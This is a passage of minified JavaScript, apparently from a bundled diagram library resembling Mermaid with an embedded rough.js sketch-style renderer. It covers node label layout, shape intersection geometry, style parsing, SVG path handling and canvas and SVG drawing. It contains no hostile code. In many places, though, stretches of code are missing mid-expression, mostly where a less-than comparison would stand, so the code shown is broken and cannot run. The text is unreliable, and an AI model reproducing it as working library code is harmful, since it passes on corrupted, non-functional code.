    "),h),p=W9e(l,t,d,e?u:!1);if(s){/stroke:/.exec(r)&&(r=r.replace("stroke:","lineColor:"));let m=r.replace(/stroke:[^;]+;?/g,"").replace(/stroke-width:[^;]+;?/g,"").replace(/fill:[^;]+;?/g,"").replace(/color:/g,"fill:");qe(p).attr("style",m)}else{let m=r.replace(/stroke:[^;]+;?/g,"").replace(/stroke-width:[^;]+;?/g,"").replace(/fill:[^;]+;?/g,"").replace(/background:/g,"fill:");qe(p).select("rect").attr("style",m.replace(/background:/g,"fill:"));let g=r.replace(/stroke:[^;]+;?/g,"").replace(/stroke-width:[^;]+;?/g,"").replace(/fill:[^;]+;?/g,"").replace(/color:/g,"fill:");qe(p).select("text").attr("style",g)}return p}},"createText")});function Vt(t){let e=t.map((r,n)=>`${n===0?"M":"L"}${r.x},${r.y}`);return e.push("Z"),e.join(" ")}function Go(t,e,r,n,i,a){let s=[],u=r-t,h=n-e,f=u/a,d=2*Math.PI/f,p=e+h/2;for(let m=0;m<=50;m++){let g=m/50,y=t+g*u,v=p+i*Math.sin(d*(y-t));s.push({x:y,y:v})}return s}function Kd(t,e,r,n,i,a){let s=[],l=i*Math.PI/180,f=(a*Math.PI/180-l)/(n-1);for(let d=0;d{"use strict";zo();Xt();yr();La();gr();tr();ut=o(async(t,e,r)=>{let n,i=e.useHtmlLabels||vr(ge()?.htmlLabels);r?n=r:n="node default";let a=t.insert("g").attr("class",n).attr("id",e.domId||e.id),s=a.insert("g").attr("class","label").attr("style",Cn(e.labelStyle)),l;e.label===void 0?l="":l=typeof e.label=="string"?e.label:e.label[0];let u=await di(s,sr(Ji(l),ge()),{useHtmlLabels:i,width:e.width||ge().flowchart?.wrappingWidth,cssClasses:"markdown-node-label",style:e.labelStyle,addSvgBackground:!!e.icon||!!e.img}),h=u.getBBox(),f=(e?.padding??0)/2;if(i){let d=u.children[0],p=qe(u),m=d.getElementsByTagName("img");if(m){let g=l.replace(/]*>/g,"").trim()==="";await Promise.all([...m].map(y=>new Promise(v=>{function x(){if(y.style.display="flex",y.style.flexDirection="column",g){let b=ge().fontSize?ge().fontSize:window.getComputedStyle(document.body).fontSize,T=5,[S=ur.fontSize]=vc(b),w=S*T+"px";y.style.minWidth=w,y.style.maxWidth=w}else y.style.width="100%";v(y)}o(x,"setupImage"),setTimeout(()=>{y.complete&&x()}),y.addEventListener("error",x),y.addEventListener("load",x)})))}h=d.getBoundingClientRect(),p.attr("width",h.width),p.attr("height",h.height)}return i?s.attr("transform","translate("+-h.width/2+", "+-h.height/2+")"):s.attr("transform","translate(0, "+-h.height/2+")"),e.centerLabel&&s.attr("transform","translate("+-h.width/2+", "+-h.height/2+")"),s.insert("rect",":first-child"),{shapeSvg:a,bbox:h,halfPadding:f,label:s}},"labelHelper"),YT=o(async(t,e,r)=>{let n=r.useHtmlLabels||vr(ge()?.flowchart?.htmlLabels),i=t.insert("g").attr("class","label").attr("style",r.labelStyle||""),a=await di(i,sr(Ji(e),ge()),{useHtmlLabels:n,width:r.width||ge()?.flowchart?.wrappingWidth,style:r.labelStyle,addSvgBackground:!!r.icon||!!r.img}),s=a.getBBox(),l=r.padding/2;if(vr(ge()?.flowchart?.htmlLabels)){let u=a.children[0],h=qe(a);s=u.getBoundingClientRect(),h.attr("width",s.width),h.attr("height",s.height)}return n?i.attr("transform","translate("+-s.width/2+", "+-s.height/2+")"):i.attr("transform","translate(0, "+-s.height/2+")"),r.centerLabel&&i.attr("transform","translate("+-s.width/2+", "+-s.height/2+")"),i.insert("rect",":first-child"),{shapeSvg:t,bbox:s,halfPadding:l,label:i}},"insertLabel"),Qe=o((t,e)=>{let r=e.node().getBBox();t.width=r.width,t.height=r.height},"updateNodeBounds"),st=o((t,e)=>(t.look==="handDrawn"?"rough-node":"node")+" "+t.cssClasses+" "+(e||""),"getNodeClasses");o(Vt,"createPathFromPoints");o(Go,"generateFullSineWavePoints");o(Kd,"generateCirclePoints")});function Y9e(t,e){return t.intersect(e)}var WZ,YZ=N(()=>{"use strict";o(Y9e,"intersectNode");WZ=Y9e});function X9e(t,e,r,n){var i=t.x,a=t.y,s=i-n.x,l=a-n.y,u=Math.sqrt(e*e*l*l+r*r*s*s),h=Math.abs(e*r*s/u);n.x{"use strict";o(X9e,"intersectEllipse");XT=X9e});function j9e(t,e,r){return XT(t,e,e,r)}var XZ,jZ=N(()=>{"use strict";E9();o(j9e,"intersectCircle");XZ=j9e});function K9e(t,e,r,n){{let i=e.y-t.y,a=t.x-e.x,s=e.x*t.y-t.x*e.y,l=i*r.x+a*r.y+s,u=i*n.x+a*n.y+s,h=1e-6;if(l!==0&&u!==0&&KZ(l,u))return;let f=n.y-r.y,d=r.x-n.x,p=n.x*r.y-r.x*n.y,m=f*t.x+d*t.y+p,g=f*e.x+d*e.y+p;if(Math.abs(m)0}var QZ,ZZ=N(()=>{"use strict";o(K9e,"intersectLine");o(KZ,"sameSign");QZ=K9e});function Q9e(t,e,r){let n=t.x,i=t.y,a=[],s=Number.POSITIVE_INFINITY,l=Number.POSITIVE_INFINITY;typeof e.forEach=="function"?e.forEach(function(f){s=Math.min(s,f.x),l=Math.min(l,f.y)}):(s=Math.min(s,e.x),l=Math.min(l,e.y));let u=n-t.width/2-s,h=i-t.height/2-l;for(let f=0;f1&&a.sort(function(f,d){let p=f.x-r.x,m=f.y-r.y,g=Math.sqrt(p*p+m*m),y=d.x-r.x,v=d.y-r.y,x=Math.sqrt(y*y+v*v);return g{"use strict";ZZ();o(Q9e,"intersectPolygon");JZ=Q9e});var Z9e,Qh,S9=N(()=>{"use strict";Z9e=o((t,e)=>{var r=t.x,n=t.y,i=e.x-r,a=e.y-n,s=t.width/2,l=t.height/2,u,h;return Math.abs(a)*s>Math.abs(i)*l?(a<0&&(l=-l),u=a===0?0:l*i/a,h=l):(i<0&&(s=-s),u=s,h=i===0?0:s*a/i),{x:r+u,y:n+h}},"intersectRect"),Qh=Z9e});var Xe,Ut=N(()=>{"use strict";YZ();jZ();E9();eJ();S9();Xe={node:WZ,circle:XZ,ellipse:XT,polygon:JZ,rect:Qh}});var tJ,wc,J9e,_2,je,Je,eRe,$t=N(()=>{"use strict";Xt();tJ=o(t=>{let{handDrawnSeed:e}=ge();return{fill:t,hachureAngle:120,hachureGap:4,fillWeight:2,roughness:.7,stroke:t,seed:e}},"solidStateFill"),wc=o(t=>{let e=J9e([...t.cssCompiledStyles||[],...t.cssStyles||[],...t.labelStyle||[]]);return{stylesMap:e,stylesArray:[...e]}},"compileStyles"),J9e=o(t=>{let e=new Map;return t.forEach(r=>{let[n,i]=r.split(":");e.set(n.trim(),i?.trim())}),e},"styles2Map"),_2=o(t=>t==="color"||t==="font-size"||t==="font-family"||t==="font-weight"||t==="font-style"||t==="text-decoration"||t==="text-align"||t==="text-transform"||t==="line-height"||t==="letter-spacing"||t==="word-spacing"||t==="text-shadow"||t==="text-overflow"||t==="white-space"||t==="word-wrap"||t==="word-break"||t==="overflow-wrap"||t==="hyphens","isLabelStyle"),je=o(t=>{let{stylesArray:e}=wc(t),r=[],n=[],i=[],a=[];return e.forEach(s=>{let l=s[0];_2(l)?r.push(s.join(":")+" !important"):(n.push(s.join(":")+" !important"),l.includes("stroke")&&i.push(s.join(":")+" !important"),l==="fill"&&a.push(s.join(":")+" !important"))}),{labelStyles:r.join(";"),nodeStyles:n.join(";"),stylesArray:e,borderStyles:i,backgroundStyles:a}},"styles2String"),Je=o((t,e)=>{let{themeVariables:r,handDrawnSeed:n}=ge(),{nodeBorder:i,mainBkg:a}=r,{stylesMap:s}=wc(t);return Object.assign({roughness:.7,fill:s.get("fill")||a,fillStyle:"hachure",fillWeight:4,hachureGap:5.2,stroke:s.get("stroke")||i,seed:n,strokeWidth:s.get("stroke-width")?.replace("px","")||1.3,fillLineDash:[0,0],strokeLineDash:eRe(s.get("stroke-dasharray"))},e)},"userNodeOverrides"),eRe=o(t=>{if(!t)return[0,0];let e=t.trim().split(/\s+/).map(Number);if(e.length===1){let i=isNaN(e[0])?0:e[0];return[i,i]}let r=isNaN(e[0])?0:e[0],n=isNaN(e[1])?0:e[1];return[r,n]},"getStrokeDashArray")});function C9(t,e,r){if(t&&t.length){let[n,i]=e,a=Math.PI/180*r,s=Math.cos(a),l=Math.sin(a);for(let u of t){let[h,f]=u;u[0]=(h-n)*s-(f-i)*l+n,u[1]=(h-n)*l+(f-i)*s+i}}}function tRe(t,e){return t[0]===e[0]&&t[1]===e[1]}function rRe(t,e,r,n=1){let i=r,a=Math.max(e,.1),s=t[0]&&t[0][0]&&typeof t[0][0]=="number"?[t]:t,l=[0,0];if(i)for(let h of s)C9(h,l,i);let u=(function(h,f,d){let p=[];for(let b of h){let T=[...b];tRe(T[0],T[T.length-1])||T.push([T[0][0],T[0][1]]),T.length>2&&p.push(T)}let m=[];f=Math.max(f,.1);let g=[];for(let b of p)for(let T=0;Tb.yminT.ymin?1:b.xT.x?1:b.ymax===T.ymax?0:(b.ymax-T.ymax)/Math.abs(b.ymax-T.ymax))),!g.length)return m;let y=[],v=g[0].ymin,x=0;for(;y.length||g.length;){if(g.length){let b=-1;for(let T=0;Tv);T++)b=T;g.splice(0,b+1).forEach((T=>{y.push({s:v,edge:T})}))}if(y=y.filter((b=>!(b.edge.ymax<=v))),y.sort(((b,T)=>b.edge.x===T.edge.x?0:(b.edge.x-T.edge.x)/Math.abs(b.edge.x-T.edge.x))),(d!==1||x%f==0)&&y.length>1)for(let b=0;b=y.length)break;let S=y[b].edge,w=y[T].edge;m.push([[Math.round(S.x),v],[Math.round(w.x),v]])}v+=d,y.forEach((b=>{b.edge.x=b.edge.x+d*b.edge.islope})),x++}return m})(s,a,n);if(i){for(let h of s)C9(h,l,-i);(function(h,f,d){let p=[];h.forEach((m=>p.push(...m))),C9(p,f,d)})(u,l,-i)}return u}function N2(t,e){var r;let n=e.hachureAngle+90,i=e.hachureGap;i<0&&(i=4*e.strokeWidth),i=Math.round(Math.max(i,.1));let a=1;return e.roughness>=1&&(((r=e.randomizer)===null||r===void 0?void 0:r.next())||Math.random())>.7&&(a=i),rRe(t,i,n,a||1)}function nw(t){let e=t[0],r=t[1];return Math.sqrt(Math.pow(e[0]-r[0],2)+Math.pow(e[1]-r[1],2))}function _9(t,e){return t.type===e}function V9(t){let e=[],r=(function(s){let l=new Array;for(;s!=="";)if(s.match(/^([ \t\r\n,]+)/))s=s.substr(RegExp.$1.length);else if(s.match(/^([aAcChHlLmMqQsStTvVzZ])/))l[l.length]={type:nRe,text:RegExp.$1},s=s.substr(RegExp.$1.length);else{if(!s.match(/^(([-+]?[0-9]+(\.[0-9]*)?|[-+]?\.[0-9]+)([eE][-+]?[0-9]+)?)/))return[];l[l.length]={type:A9,text:`${parseFloat(RegExp.$1)}`},s=s.substr(RegExp.$1.length)}return l[l.length]={type:rJ,text:""},l})(t),n="BOD",i=0,a=r[i];for(;!_9(a,rJ);){let s=0,l=[];if(n==="BOD"){if(a.text!=="M"&&a.text!=="m")return V9("M0,0"+t);i++,s=jT[a.text],n=a.text}else _9(a,A9)?s=jT[n]:(i++,s=jT[a.text],n=a.text);if(!(i+sf%2?h+r:h+e));a.push({key:"C",data:u}),e=u[4],r=u[5];break}case"Q":a.push({key:"Q",data:[...l]}),e=l[2],r=l[3];break;case"q":{let u=l.map(((h,f)=>f%2?h+r:h+e));a.push({key:"Q",data:u}),e=u[2],r=u[3];break}case"A":a.push({key:"A",data:[...l]}),e=l[5],r=l[6];break;case"a":e+=l[5],r+=l[6],a.push({key:"A",data:[l[0],l[1],l[2],l[3],l[4],e,r]});break;case"H":a.push({key:"H",data:[...l]}),e=l[0];break;case"h":e+=l[0],a.push({key:"H",data:[e]});break;case"V":a.push({key:"V",data:[...l]}),r=l[0];break;case"v":r+=l[0],a.push({key:"V",data:[r]});break;case"S":a.push({key:"S",data:[...l]}),e=l[2],r=l[3];break;case"s":{let u=l.map(((h,f)=>f%2?h+r:h+e));a.push({key:"S",data:u}),e=u[2],r=u[3];break}case"T":a.push({key:"T",data:[...l]}),e=l[0],r=l[1];break;case"t":e+=l[0],r+=l[1],a.push({key:"T",data:[e,r]});break;case"Z":case"z":a.push({key:"Z",data:[]}),e=n,r=i}return a}function hJ(t){let e=[],r="",n=0,i=0,a=0,s=0,l=0,u=0;for(let{key:h,data:f}of t){switch(h){case"M":e.push({key:"M",data:[...f]}),[n,i]=f,[a,s]=f;break;case"C":e.push({key:"C",data:[...f]}),n=f[4],i=f[5],l=f[2],u=f[3];break;case"L":e.push({key:"L",data:[...f]}),[n,i]=f;break;case"H":n=f[0],e.push({key:"L",data:[n,i]});break;case"V":i=f[0],e.push({key:"L",data:[n,i]});break;case"S":{let d=0,p=0;r==="C"||r==="S"?(d=n+(n-l),p=i+(i-u)):(d=n,p=i),e.push({key:"C",data:[d,p,...f]}),l=f[0],u=f[1],n=f[2],i=f[3];break}case"T":{let[d,p]=f,m=0,g=0;r==="Q"||r==="T"?(m=n+(n-l),g=i+(i-u)):(m=n,g=i);let y=n+2*(m-n)/3,v=i+2*(g-i)/3,x=d+2*(m-d)/3,b=p+2*(g-p)/3;e.push({key:"C",data:[y,v,x,b,d,p]}),l=m,u=g,n=d,i=p;break}case"Q":{let[d,p,m,g]=f,y=n+2*(d-n)/3,v=i+2*(p-i)/3,x=m+2*(d-m)/3,b=g+2*(p-g)/3;e.push({key:"C",data:[y,v,x,b,m,g]}),l=d,u=p,n=m,i=g;break}case"A":{let d=Math.abs(f[0]),p=Math.abs(f[1]),m=f[2],g=f[3],y=f[4],v=f[5],x=f[6];d===0||p===0?(e.push({key:"C",data:[n,i,v,x,v,x]}),n=v,i=x):(n!==v||i!==x)&&(fJ(n,i,v,x,d,p,m,g,y).forEach((function(b){e.push({key:"C",data:b})})),n=v,i=x);break}case"Z":e.push({key:"Z",data:[]}),n=a,i=s}r=h}return e}function D2(t,e,r){return[t*Math.cos(r)-e*Math.sin(r),t*Math.sin(r)+e*Math.cos(r)]}function fJ(t,e,r,n,i,a,s,l,u,h){let f=(d=s,Math.PI*d/180);var d;let p=[],m=0,g=0,y=0,v=0;if(h)[m,g,y,v]=h;else{[t,e]=D2(t,e,-f),[r,n]=D2(r,n,-f);let D=(t-r)/2,_=(e-n)/2,O=D*D/(i*i)+_*_/(a*a);O>1&&(O=Math.sqrt(O),i*=O,a*=O);let M=i*i,P=a*a,B=M*P-M*_*_-P*D*D,F=M*_*_+P*D*D,G=(l===u?-1:1)*Math.sqrt(Math.abs(B/F));y=G*i*_/a+(t+r)/2,v=G*-a*D/i+(e+n)/2,m=Math.asin(parseFloat(((e-v)/a).toFixed(9))),g=Math.asin(parseFloat(((n-v)/a).toFixed(9))),tg&&(m-=2*Math.PI),!u&&g>m&&(g-=2*Math.PI)}let x=g-m;if(Math.abs(x)>120*Math.PI/180){let D=g,_=r,O=n;g=u&&g>m?m+120*Math.PI/180*1:m+120*Math.PI/180*-1,p=fJ(r=y+i*Math.cos(g),n=v+a*Math.sin(g),_,O,i,a,s,0,u,[g,D,y,v])}x=g-m;let b=Math.cos(m),T=Math.sin(m),S=Math.cos(g),w=Math.sin(g),k=Math.tan(x/4),A=4/3*i*k,C=4/3*a*k,R=[t,e],I=[t+A*T,e-C*b],L=[r+A*w,n-C*S],E=[r,n];if(I[0]=2*R[0]-I[0],I[1]=2*R[1]-I[1],h)return[I,L,E].concat(p);{p=[I,L,E].concat(p);let D=[];for(let _=0;_2){let i=[];for(let a=0;a2*Math.PI&&(m=0,g=2*Math.PI);let y=2*Math.PI/u.curveStepCount,v=Math.min(y/2,(g-m)/2),x=lJ(v,h,f,d,p,m,g,1,u);if(!u.disableMultiStroke){let b=lJ(v,h,f,d,p,m,g,1.5,u);x.push(...b)}return s&&(l?x.push(...Zh(h,f,h+d*Math.cos(m),f+p*Math.sin(m),u),...Zh(h,f,h+d*Math.cos(g),f+p*Math.sin(g),u)):x.push({op:"lineTo",data:[h,f]},{op:"lineTo",data:[h+d*Math.cos(m),f+p*Math.sin(m)]})),{type:"path",ops:x}}function aJ(t,e){let r=hJ(uJ(V9(t))),n=[],i=[0,0],a=[0,0];for(let{key:s,data:l}of r)switch(s){case"M":a=[l[0],l[1]],i=[l[0],l[1]];break;case"L":n.push(...Zh(a[0],a[1],l[0],l[1],e)),a=[l[0],l[1]];break;case"C":{let[u,h,f,d,p,m]=l;n.push(...sRe(u,h,f,d,p,m,a,e)),a=[p,m];break}case"Z":n.push(...Zh(a[0],a[1],i[0],i[1],e)),a=[i[0],i[1]]}return{type:"path",ops:n}}function D9(t,e){let r=[];for(let n of t)if(n.length){let i=e.maxRandomnessOffset||0,a=n.length;if(a>2){r.push({op:"move",data:[n[0][0]+or(i,e),n[0][1]+or(i,e)]});for(let s=1;s500?.4:-.0016668*u+1.233334;let f=i.maxRandomnessOffset||0;f*f*100>l&&(f=u/10);let d=f/2,p=.2+.2*mJ(i),m=i.bowing*i.maxRandomnessOffset*(n-e)/200,g=i.bowing*i.maxRandomnessOffset*(t-r)/200;m=or(m,i,h),g=or(g,i,h);let y=[],v=o(()=>or(d,i,h),"M"),x=o(()=>or(f,i,h),"k"),b=i.preserveVertices;return a&&(s?y.push({op:"move",data:[t+(b?0:v()),e+(b?0:v())]}):y.push({op:"move",data:[t+(b?0:or(f,i,h)),e+(b?0:or(f,i,h))]})),s?y.push({op:"bcurveTo",data:[m+t+(r-t)*p+v(),g+e+(n-e)*p+v(),m+t+2*(r-t)*p+v(),g+e+2*(n-e)*p+v(),r+(b?0:v()),n+(b?0:v())]}):y.push({op:"bcurveTo",data:[m+t+(r-t)*p+x(),g+e+(n-e)*p+x(),m+t+2*(r-t)*p+x(),g+e+2*(n-e)*p+x(),r+(b?0:x()),n+(b?0:x())]}),y}function KT(t,e,r){if(!t.length)return[];let n=[];n.push([t[0][0]+or(e,r),t[0][1]+or(e,r)]),n.push([t[0][0]+or(e,r),t[0][1]+or(e,r)]);for(let i=1;i3){let a=[],s=1-r.curveTightness;i.push({op:"move",data:[t[1][0],t[1][1]]});for(let l=1;l+21&&i.push(l)):i.push(l),i.push(t[e+3])}else{let u=t[e+0],h=t[e+1],f=t[e+2],d=t[e+3],p=Qd(u,h,.5),m=Qd(h,f,.5),g=Qd(f,d,.5),y=Qd(p,m,.5),v=Qd(m,g,.5),x=Qd(y,v,.5);$9([u,p,y,x],0,r,i),$9([x,v,g,d],0,r,i)}var a,s;return i}function lRe(t,e){return rw(t,0,t.length,e)}function rw(t,e,r,n,i){let a=i||[],s=t[e],l=t[r-1],u=0,h=1;for(let f=e+1;fu&&(u=d,h=f)}return Math.sqrt(u)>n?(rw(t,e,h+1,n,a),rw(t,h,r,n,a)):(a.length||a.push(s),a.push(l)),a}function L9(t,e=.15,r){let n=[],i=(t.length-1)/3;for(let a=0;a0?rw(n,0,n.length,r):n}var R2,R9,N9,M9,I9,O9,Ps,P9,nRe,A9,rJ,jT,iRe,co,Em,z9,QT,G9,Ze,Ht=N(()=>{"use strict";o(C9,"t");o(tRe,"e");o(rRe,"s");o(N2,"n");R2=class{static{o(this,"o")}constructor(e){this.helper=e}fillPolygons(e,r){return this._fillPolygons(e,r)}_fillPolygons(e,r){let n=N2(e,r);return{type:"fillSketch",ops:this.renderLines(n,r)}}renderLines(e,r){let n=[];for(let i of e)n.push(...this.helper.doubleLineOps(i[0][0],i[0][1],i[1][0],i[1][1],r));return n}};o(nw,"a");R9=class extends R2{static{o(this,"h")}fillPolygons(e,r){let n=r.hachureGap;n<0&&(n=4*r.strokeWidth),n=Math.max(n,.1);let i=N2(e,Object.assign({},r,{hachureGap:n})),a=Math.PI/180*r.hachureAngle,s=[],l=.5*n*Math.cos(a),u=.5*n*Math.sin(a);for(let[h,f]of i)nw([h,f])&&s.push([[h[0]-l,h[1]+u],[...f]],[[h[0]+l,h[1]-u],[...f]]);return{type:"fillSketch",ops:this.renderLines(s,r)}}},N9=class extends R2{static{o(this,"r")}fillPolygons(e,r){let n=this._fillPolygons(e,r),i=Object.assign({},r,{hachureAngle:r.hachureAngle+90}),a=this._fillPolygons(e,i);return n.ops=n.ops.concat(a.ops),n}},M9=class{static{o(this,"i")}constructor(e){this.helper=e}fillPolygons(e,r){let n=N2(e,r=Object.assign({},r,{hachureAngle:0}));return this.dotsOnLines(n,r)}dotsOnLines(e,r){let n=[],i=r.hachureGap;i<0&&(i=4*r.strokeWidth),i=Math.max(i,.1);let a=r.fillWeight;a<0&&(a=r.strokeWidth/2);let s=i/4;for(let l of e){let u=nw(l),h=u/i,f=Math.ceil(h)-1,d=u-f*i,p=(l[0][0]+l[1][0])/2-i/4,m=Math.min(l[0][1],l[1][1]);for(let g=0;g{let l=nw(s),u=Math.floor(l/(n+i)),h=(l+i-u*(n+i))/2,f=s[0],d=s[1];f[0]>d[0]&&(f=s[1],d=s[0]);let p=Math.atan((d[1]-f[1])/(d[0]-f[0]));for(let m=0;m{let s=nw(a),l=Math.round(s/(2*r)),u=a[0],h=a[1];u[0]>h[0]&&(u=a[1],h=a[0]);let f=Math.atan((h[1]-u[1])/(h[0]-u[0]));for(let d=0;d2*Math.PI&&(A=0,C=2*Math.PI);let R=(C-A)/b.curveStepCount,I=[];for(let L=A;L<=C;L+=R)I.push([T+w*Math.cos(L),S+k*Math.sin(L)]);return I.push([T+w*Math.cos(C),S+k*Math.sin(C)]),I.push([T,S]),km([I],b)})(e,r,n,i,a,s,h));return h.stroke!==co&&f.push(d),this._d("arc",f,h)}curve(e,r){let n=this._o(r),i=[],a=nJ(e,n);if(n.fill&&n.fill!==co)if(n.fillStyle==="solid"){let s=nJ(e,Object.assign(Object.assign({},n),{disableMultiStroke:!0,roughness:n.roughness?n.roughness+n.fillShapeRoughnessGain:0}));i.push({type:"fillPath",ops:this._mergedShape(s.ops)})}else{let s=[],l=e;if(l.length){let u=typeof l[0][0]=="number"?[l]:l;for(let h of u)h.length<3?s.push(...h):h.length===3?s.push(...L9(cJ([h[0],h[0],h[1],h[2]]),10,(1+n.roughness)/2)):s.push(...L9(cJ(h),10,(1+n.roughness)/2))}s.length&&i.push(km([s],n))}return n.stroke!==co&&i.push(a),this._d("curve",i,n)}polygon(e,r){let n=this._o(r),i=[],a=ZT(e,!0,n);return n.fill&&(n.fillStyle==="solid"?i.push(D9([e],n)):i.push(km([e],n))),n.stroke!==co&&i.push(a),this._d("polygon",i,n)}path(e,r){let n=this._o(r),i=[];if(!e)return this._d("path",i,n);e=(e||"").replace(/\n/g," ").replace(/(-\s)/g,"-").replace("/(ss)/g"," ");let a=n.fill&&n.fill!=="transparent"&&n.fill!==co,s=n.stroke!==co,l=!!(n.simplification&&n.simplification<1),u=(function(f,d,p){let m=hJ(uJ(V9(f))),g=[],y=[],v=[0,0],x=[],b=o(()=>{x.length>=4&&y.push(...L9(x,d)),x=[]},"i"),T=o(()=>{b(),y.length&&(g.push(y),y=[])},"c");for(let{key:w,data:k}of m)switch(w){case"M":T(),v=[k[0],k[1]],y.push(v);break;case"L":b(),y.push([k[0],k[1]]);break;case"C":if(!x.length){let A=y.length?y[y.length-1]:v;x.push([A[0],A[1]])}x.push([k[0],k[1]]),x.push([k[2],k[3]]),x.push([k[4],k[5]]);break;case"Z":b(),y.push([v[0],v[1]])}if(T(),!p)return g;let S=[];for(let w of g){let k=lRe(w,p);k.length&&S.push(k)}return S})(e,1,l?4-4*(n.simplification||1):(1+n.roughness)/2),h=aJ(e,n);if(a)if(n.fillStyle==="solid")if(u.length===1){let f=aJ(e,Object.assign(Object.assign({},n),{disableMultiStroke:!0,roughness:n.roughness?n.roughness+n.fillShapeRoughnessGain:0}));i.push({type:"fillPath",ops:this._mergedShape(f.ops)})}else i.push(D9(u,n));else i.push(km(u,n));return s&&(l?u.forEach((f=>{i.push(ZT(f,!1,n))})):i.push(h)),this._d("path",i,n)}opsToPath(e,r){let n="";for(let i of e.ops){let a=typeof r=="number"&&r>=0?i.data.map((s=>+s.toFixed(r))):i.data;switch(i.op){case"move":n+=`M${a[0]} ${a[1]} `;break;case"bcurveTo":n+=`C${a[0]} ${a[1]}, ${a[2]} ${a[3]}, ${a[4]} ${a[5]} `;break;case"lineTo":n+=`L${a[0]} ${a[1]} `}}return n.trim()}toPaths(e){let r=e.sets||[],n=e.options||this.defaultOptions,i=[];for(let a of r){let s=null;switch(a.type){case"path":s={d:this.opsToPath(a),stroke:n.stroke,strokeWidth:n.strokeWidth,fill:co};break;case"fillPath":s={d:this.opsToPath(a),stroke:co,strokeWidth:0,fill:n.fill||co};break;case"fillSketch":s=this.fillSketch(a,n)}s&&i.push(s)}return i}fillSketch(e,r){let n=r.fillWeight;return n<0&&(n=r.strokeWidth/2),{d:this.opsToPath(e),stroke:r.fill||co,strokeWidth:n,fill:co}}_mergedShape(e){return e.filter(((r,n)=>n===0||r.op!=="move"))}},z9=class{static{o(this,"st")}constructor(e,r){this.canvas=e,this.ctx=this.canvas.getContext("2d"),this.gen=new Em(r)}draw(e){let r=e.sets||[],n=e.options||this.getDefaultOptions(),i=this.ctx,a=e.options.fixedDecimalPlaceDigits;for(let s of r)switch(s.type){case"path":i.save(),i.strokeStyle=n.stroke==="none"?"transparent":n.stroke,i.lineWidth=n.strokeWidth,n.strokeLineDash&&i.setLineDash(n.strokeLineDash),n.strokeLineDashOffset&&(i.lineDashOffset=n.strokeLineDashOffset),this._drawToContext(i,s,a),i.restore();break;case"fillPath":{i.save(),i.fillStyle=n.fill||"";let l=e.shape==="curve"||e.shape==="polygon"||e.shape==="path"?"evenodd":"nonzero";this._drawToContext(i,s,a,l),i.restore();break}case"fillSketch":this.fillSketch(i,s,n)}}fillSketch(e,r,n){let i=n.fillWeight;i<0&&(i=n.strokeWidth/2),e.save(),n.fillLineDash&&e.setLineDash(n.fillLineDash),n.fillLineDashOffset&&(e.lineDashOffset=n.fillLineDashOffset),e.strokeStyle=n.fill||"",e.lineWidth=i,this._drawToContext(e,r,n.fixedDecimalPlaceDigits),e.restore()}_drawToContext(e,r,n,i="nonzero"){e.beginPath();for(let a of r.ops){let s=typeof n=="number"&&n>=0?a.data.map((l=>+l.toFixed(n))):a.data;switch(a.op){case"move":e.moveTo(s[0],s[1]);break;case"bcurveTo":e.bezierCurveTo(s[0],s[1],s[2],s[3],s[4],s[5]);break;case"lineTo":e.lineTo(s[0],s[1])}}r.type==="fillPath"?e.fill(i):e.stroke()}get generator(){return this.gen}getDefaultOptions(){return this.gen.defaultOptions}line(e,r,n,i,a){let s=this.gen.line(e,r,n,i,a);return this.draw(s),s}rectangle(e,r,n,i,a){let s=this.gen.rectangle(e,r,n,i,a);return this.draw(s),s}ellipse(e,r,n,i,a){let s=this.gen.ellipse(e,r,n,i,a);return this.draw(s),s}circle(e,r,n,i){let a=this.gen.circle(e,r,n,i);return this.draw(a),a}linearPath(e,r){let n=this.gen.linearPath(e,r);return this.draw(n),n}polygon(e,r){let n=this.gen.polygon(e,r);return this.draw(n),n}arc(e,r,n,i,a,s,l=!1,u){let h=this.gen.arc(e,r,n,i,a,s,l,u);return this.draw(h),h}curve(e,r){let n=this.gen.curve(e,r);return this.draw(n),n}path(e,r){let n=this.gen.path(e,r);return this.draw(n),n}},QT="http://www.w3.org/2000/svg",G9=class{static{o(this,"ot")}constructor(e,r){this.svg=e,this.gen=new Em(r)}draw(e){let r=e.sets||[],n=e.options||this.getDefaultOptions(),i=this.svg.ownerDocument||window.document,a=i.createElementNS(QT,"g"),s=e.options.fixedDecimalPlaceDigits;for(let l of r){let u=null;switch(l.type){case"path":u=i.createElementNS(QT,"path"),u.setAttribute("d",this.opsToPath(l,s)),u.setAttribute("stroke",n.stroke),u.setAttribute("stroke-width",n.strokeWidth+""),u.setAttribute("fill","none"),n.strokeLineDash&&u.setAttribute("stroke-dasharray",n.strokeLineDash.join(" ").trim()),n.strokeLineDashOffset&&u.setAttribute("stroke-dashoffset",`${n.strokeLineDashOffset}`);break;case"fillPath":u=i.createElementNS(QT,"path"),u.setAttribute("d",this.opsToPath(l,s)),u.setAttribute("stroke","none"),u.setAttribute("stroke-width","0"),u.setAttribute("fill",n.fill||""),e.shape!=="curve"&&e.shape!=="polygon"||u.setAttribute("fill-rule","evenodd");break;case"fillSketch":u=this.fillSketch(i,l,n)}u&&a.appendChild(u)}return a}fillSketch(e,r,n){let i=n.fillWeight;i<0&&(i=n.strokeWidth/2);let a=e.createElementNS(QT,"path");return a.setAttribute("d",this.opsToPath(r,n.fixedDecimalPlaceDigits)),a.setAttribute("stroke",n.fill||""),a.setAttribute("stroke-width",i+""),a.setAttribute("fill","none"),n.fillLineDash&&a.setAttribute("stroke-dasharray",n.fillLineDash.join(" ").trim()),n.fillLineDashOffset&&a.setAttribute("stroke-dashoffset",`${n.fillLineDashOffset}`),a}get generator(){return this.gen}getDefaultOptions(){return this.gen.defaultOptions}opsToPath(e,r){return this.gen.opsToPath(e,r)}line(e,r,n,i,a){let s=this.gen.line(e,r,n,i,a);return this.draw(s)}rectangle(e,r,n,i,a){let s=this.gen.rectangle(e,r,n,i,a);return this.draw(s)}ellipse(e,r,n,i,a){let s=this.gen.ellipse(e,r,n,i,a);return this.draw(s)}circle(e,r,n,i){let a=this.gen.circle(e,r,n,i);return this.draw(a)}linearPath(e,r){let n=this.gen.linearPath(e,r);return this.draw(n)}polygon(e,r){let n=this.gen.polygon(e,r);return this.draw(n)}arc(e,r,n,i,a,s,l=!1,u){let h=this.gen.arc(e,r,n,i,a,s,l,u);return this.draw(h)}curve(e,r){let n=this.gen.curve(e,r);return this.draw(n)}path(e,r){let n=this.gen.path(e,r);return this.draw(n)}},Ze={canvas:o((t,e)=>new z9(t,e),"canvas"),svg:o((t,e)=>new G9(t,e),"svg"),generator:o(t=>new Em(t),"generator"),newSeed:o(()=>Em.newSeed(),"newSeed")}});function 